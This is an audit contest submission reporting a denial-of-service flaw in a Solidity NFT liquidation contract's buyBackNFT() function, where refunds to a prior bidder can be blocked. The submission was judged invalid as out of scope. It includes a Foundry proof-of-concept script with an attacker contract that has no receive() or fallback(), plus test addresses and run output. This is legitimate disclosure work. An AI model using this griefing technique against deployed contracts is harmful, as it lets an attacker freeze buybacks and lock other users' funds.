Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Invalid

DoS vulnerability when buy NFTs through the buyBackNFT() function

Summary

function buyBackNFT(uint256 tokenId) external payable {
TokenData storage data = tokenData[tokenId];
if (block.timestamp >= data.auctionEndTime) revert AuctionHasEnded();
if (nftContract.ownerOf(tokenId) != address(this)) revert NFTNotInLiquidation();
uint256 price = data.debt * 11 / 10; // 110% of the debt
if (msg.value < price) revert InsufficientPayment(price);
// Refund the highest bidder if there's an existing bid
if (data.highestBidder != address(0)) {
payable(data.highestBidder).transfer(data.highestBid);
}
delete tokenData[tokenId];
nftContract.transferFrom(address(this), msg.sender, tokenId);
payable(stabilityPool).transfer(price);
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
emit BuybackCompleted(tokenId, msg.sender, price);
}

In the buyBackNFT() function, when someone attempts to purchase an NFT at 110% of their debt, the bid amount is returned to the previous bidder's address. If the bidder's address belongs to a contract that does not implement fallback() or receive() functions, a DoS vulnerability occurs.

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import {console, Script} from "forge-std/Script.sol";
import {RAACNFT} from "../src/contracts/core/tokens/RAACNFT.sol";
import {NFTLiquidator} from "../src/contracts/core/pools/StabilityPool/NFTLiquidator.sol";
import {RAACHousePrices} from "../src/contracts/core/primitives/RAACHousePrices.sol";
import {RAACToken} from "../src/contracts/core/tokens/RAACToken.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract BIDDER3 {
constructor() payable {
}
// For the DoS attack, there are no fallback or receive() functions implemented
}
contract StabilityPool {
NFTLiquidator public nftliquidator;
constructor(address _nftLiquidator) {
nftliquidator = NFTLiquidator(_nftLiquidator);
}
function triggerLiquidation(uint256 tokenId, uint256 debt) external {
nftliquidator.liquidateNFT(tokenId, debt);
}
}
contract Solve is Script, Test{
RAACNFT public raacnft;
NFTLiquidator public nftliquidator;
StabilityPool public stabilitypool;
RAACHousePrices public raac_hp;
RAACToken public raactoken;
//IERC20 public raactoken;
BIDDER3 public bidder3;
address public useraddr = vm.envAddress("AASD");
// The balance of DUMMYWALLET is intended to be transferred to the attack contract
address public DUMMYWALLET = vm.envAddress("DUMMYWALLET");
address public BIDDER1 = vm.envAddress("BIDDER1");
address public owner = vm.envAddress("OWNER");
address public RAACHOUSEPRICES_ADDR = vm.envAddress("RAACHousePrices");
address public CRVUSD_ADDR = vm.envAddress("CRV_USD");
address public RAACNFT_ADDR = vm.envAddress("NFT_CONTRACT");
address public RAACTOKEN_ADDR = vm.envAddress("RAACTOKEN");
address public STABILITYPOOL_ADDR;
constructor() {
nftliquidator = new NFTLiquidator(CRVUSD_ADDR, RAACNFT_ADDR, owner, 5);
stabilitypool = new StabilityPool(address(nftliquidator));
bidder3 = new BIDDER3();
STABILITYPOOL_ADDR = address(stabilitypool);
raac_hp = RAACHousePrices(RAACHOUSEPRICES_ADDR);
raacnft = RAACNFT(RAACNFT_ADDR);
raactoken = RAACToken(RAACTOKEN_ADDR);
}
function init() internal {
vm.startPrank(owner);
raactoken.setMinter(owner);
raactoken.mint(useraddr, 1000 ether);
raac_hp.setOracle(owner);
raac_hp.setHousePrice(1, 100 ether);
nftliquidator.setStabilityPool(address(stabilitypool));
vm.stopPrank();
vm.startPrank(useraddr);
raactoken.approve(address(raacnft), 100 ether);
raacnft.mint(1, 100 ether);
raacnft.transferFrom(useraddr, address(stabilitypool), 1);
vm.stopPrank();
vm.startPrank(STABILITYPOOL_ADDR);
raacnft.approve(address(nftliquidator), 1);
vm.stopPrank();
stabilitypool.triggerLiquidation(1, 90 ether);
vm.startPrank(DUMMYWALLET);
bidder3 = new BIDDER3{value:9000 ether}();
vm.stopPrank();
}
function run() public {
init(); // This is the initial setup function for launching the auction
uint256 debt;
uint256 auctionEndTime;
address highestBidder;
(, auctionEndTime,,) = nftliquidator.tokenData(1);
require(auctionEndTime > 0, "The auction for the 1st NFT has not started");
require(address(bidder3).balance == 9000 ether, "The contract's balance is insufficient for the DoS attack");
console.log("Attacker's CA balance : ", address(bidder3).balance);
/*
First, an attack contract (CA) attempts to bid and secures the highestBidder position
Second, an EOA pays a premium and attempts to bid on the NFT
However, because the attack contract (CA) does not implement the fallback or receive functions,
a DoS condition occurs, preventing the bid from succeeding
*/
vm.startPrank(address(bidder3));
nftliquidator.placeBid{value : 200 ether}(1);
(,,, highestBidder) = nftliquidator.tokenData(1);
assert(highestBidder == address(bidder3));
vm.stopPrank();
vm.startPrank(BIDDER1);
(debt,,,) = nftliquidator.tokenData(1);
uint256 price = debt * 11 / 10;
vm.expectRevert(); // A revert occurs during the refund process to the previous bidder
nftliquidator.buyBackNFT{value : price}(1);
vm.stopPrank();
console.log("Due to the DoS, it always reverts");
}
}
AASD=0xdF3e18d64BC6A983f673Ab319CCaE4f1a57C7097
DUMMYWALLET=0xdD2FD4581271e230360230F9337D5c0430Bf44C0
BIDDER1=0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
OWNER=0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
CRV_USD=0x85608d50f5648bA83DBF83eE48DEa13640fEfF04
RAACTOKEN=0x8Be252963b93a99A08E003Fe7f0cd266944c5192
RAACHousePrices=0x394EEFbBa9C34F610edf5DA9759634fAA4035DE9
NFT_CONTRACT=0xaf6d22Ae5037CeE88D45439CA6130d13e4347222
❯ forge script --rpc-url $RPC_URL Solve -vvv
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.28
[⠑] Solc 0.8.28 finished in 493.28ms
Compiler run successful!
Script ran successfully.
== Logs ==
Attacker's CA balance : 9000000000000000000000
Due to the DoS, it always reverts

Vulnerability Details and Impact

  1. Implement an attack contract. Do not implement the receive() or fallback() functions.

  2. Register your bid.

  3. Now, when someone else tries to purchase an NFT at 110% of their debt , a DoS attack will continuously occur.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.